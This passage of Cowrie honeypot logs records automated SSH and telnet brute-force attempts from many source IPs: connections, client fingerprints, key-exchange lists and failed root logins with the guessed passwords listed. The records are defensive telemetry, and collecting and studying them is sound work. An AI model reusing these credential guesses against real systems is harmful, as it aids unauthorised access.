a2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:40:47.906367Z","src_ip":"176.65.148.108","session":"6a79ebd7fb88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"904abc","password":"904abc","message":"login attempt [904abc/904abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:40:48.270679Z","src_ip":"176.65.148.108","session":"6a79ebd7fb88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:40:49.355384Z","src_ip":"176.65.148.108","session":"6a79ebd7fb88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.171","src_port":49756,"dst_ip":"159.203.135.109","dst_port":22,"session":"9de69a4d4b04","protocol":"ssh","message":"New connection: 80.94.92.171:49756 (159.203.135.109:22) [session: 9de69a4d4b04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:40:51.576784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:40:51.675971Z","src_ip":"80.94.92.171","session":"9de69a4d4b04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:40:51.792320Z","src_ip":"80.94.92.171","session":"9de69a4d4b04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:40:52.608532Z","src_ip":"80.94.92.171","session":"9de69a4d4b04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:40:53.869837Z","src_ip":"80.94.92.171","session":"9de69a4d4b04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":43732,"dst_ip":"159.203.135.109","dst_port":22,"session":"410d9057f310","protocol":"ssh","message":"New connection: 80.66.85.226:43732 (159.203.135.109:22) [session: 410d9057f310]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:40:58.107073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:40:58.111848Z","src_ip":"80.66.85.226","session":"410d9057f310","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:40:58.228575Z","src_ip":"80.66.85.226","session":"410d9057f310","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alenka","message":"login attempt [root/alenka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:40:58.597828Z","src_ip":"80.66.85.226","session":"410d9057f310","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:40:59.693012Z","src_ip":"80.66.85.226","session":"410d9057f310","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":48906,"dst_ip":"159.203.135.109","dst_port":22,"session":"36e969707731","protocol":"ssh","message":"New connection: 62.133.63.178:48906 (159.203.135.109:22) [session: 36e969707731]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:41:24.707239Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:41:24.711970Z","src_ip":"62.133.63.178","session":"36e969707731","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:41:24.835980Z","src_ip":"62.133.63.178","session":"36e969707731","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"viktoria","message":"login attempt [root/viktoria] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:41:25.209029Z","src_ip":"62.133.63.178","session":"36e969707731","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:41:26.350199Z","src_ip":"62.133.63.178","session":"36e969707731","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"3.129.92.250","src_port":51834,"dst_ip":"10.17.0.5","dst_port":23,"session":"0add1a9a6f29","protocol":"telnet","message":"New connection: 3.129.92.250:51834 (10.17.0.5:23) [session: 0add1a9a6f29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:41:31.608700Z"}
{"eventid":"cowrie.session.connect","src_ip":"3.129.92.250","src_port":34662,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ccf78399eb4","protocol":"ssh","message":"New connection: 3.129.92.250:34662 (10.17.0.5:22) [session: 2ccf78399eb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:41:32.223513Z"}
{"eventid":"cowrie.session.closed","duration":1.084306240081787,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:41:32.692907Z","src_ip":"3.129.92.250","session":"0add1a9a6f29","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:41:32.816437Z","src_ip":"3.129.92.250","session":"2ccf78399eb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":54448,"dst_ip":"159.203.135.109","dst_port":22,"session":"c1ce175e57de","protocol":"ssh","message":"New connection: 103.172.78.219:54448 (159.203.135.109:22) [session: c1ce175e57de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:41:59.688662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:41:59.694062Z","src_ip":"103.172.78.219","session":"c1ce175e57de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:41:59.950098Z","src_ip":"103.172.78.219","session":"c1ce175e57de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"y123456","message":"login attempt [root/y123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:42:00.714078Z","src_ip":"103.172.78.219","session":"c1ce175e57de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:42:01.971365Z","src_ip":"103.172.78.219","session":"c1ce175e57de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":49710,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3f9b31f0f92","protocol":"ssh","message":"New connection: 194.113.233.25:49710 (10.17.0.5:22) [session: b3f9b31f0f92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:42:03.507679Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:42:03.513046Z","src_ip":"194.113.233.25","session":"b3f9b31f0f92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:42:03.603205Z","src_ip":"194.113.233.25","session":"b3f9b31f0f92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dakota","message":"login attempt [root/dakota] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:42:03.874872Z","src_ip":"194.113.233.25","session":"b3f9b31f0f92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:42:04.967176Z","src_ip":"194.113.233.25","session":"b3f9b31f0f92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":50742,"dst_ip":"10.17.0.5","dst_port":22,"session":"e35e528e52e7","protocol":"ssh","message":"New connection: 103.75.183.219:50742 (10.17.0.5:22) [session: e35e528e52e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:42:19.733514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:42:19.738272Z","src_ip":"103.75.183.219","session":"e35e528e52e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:42:19.982434Z","src_ip":"103.75.183.219","session":"e35e528e52e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"olga","message":"login attempt [root/olga] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:42:20.719007Z","src_ip":"103.75.183.219","session":"e35e528e52e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:42:21.965692Z","src_ip":"103.75.183.219","session":"e35e528e52e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":47394,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e4e79712827","protocol":"ssh","message":"New connection: 103.82.132.16:47394 (10.17.0.5:22) [session: 1e4e79712827]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:42:31.055261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:42:31.059525Z","src_ip":"103.82.132.16","session":"1e4e79712827","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:42:31.316695Z","src_ip":"103.82.132.16","session":"1e4e79712827","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"serega123","message":"login attempt [root/serega123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:42:32.087610Z","src_ip":"103.82.132.16","session":"1e4e79712827","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:42:33.351336Z","src_ip":"103.82.132.16","session":"1e4e79712827","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.230.19.115","src_port":35538,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd7023c8fb11","protocol":"telnet","message":"New connection: 115.230.19.115:35538 (10.17.0.5:23) [session: dd7023c8fb11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:43:08.104655Z"}
{"eventid":"cowrie.session.closed","duration":0.3948831558227539,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:43:08.499442Z","src_ip":"115.230.19.115","session":"dd7023c8fb11","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":55896,"dst_ip":"10.17.0.5","dst_port":22,"session":"f6e01e4cbdd8","protocol":"ssh","message":"New connection: 103.27.238.116:55896 (10.17.0.5:22) [session: f6e01e4cbdd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:43:10.333706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:43:10.338273Z","src_ip":"103.27.238.116","session":"f6e01e4cbdd8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecd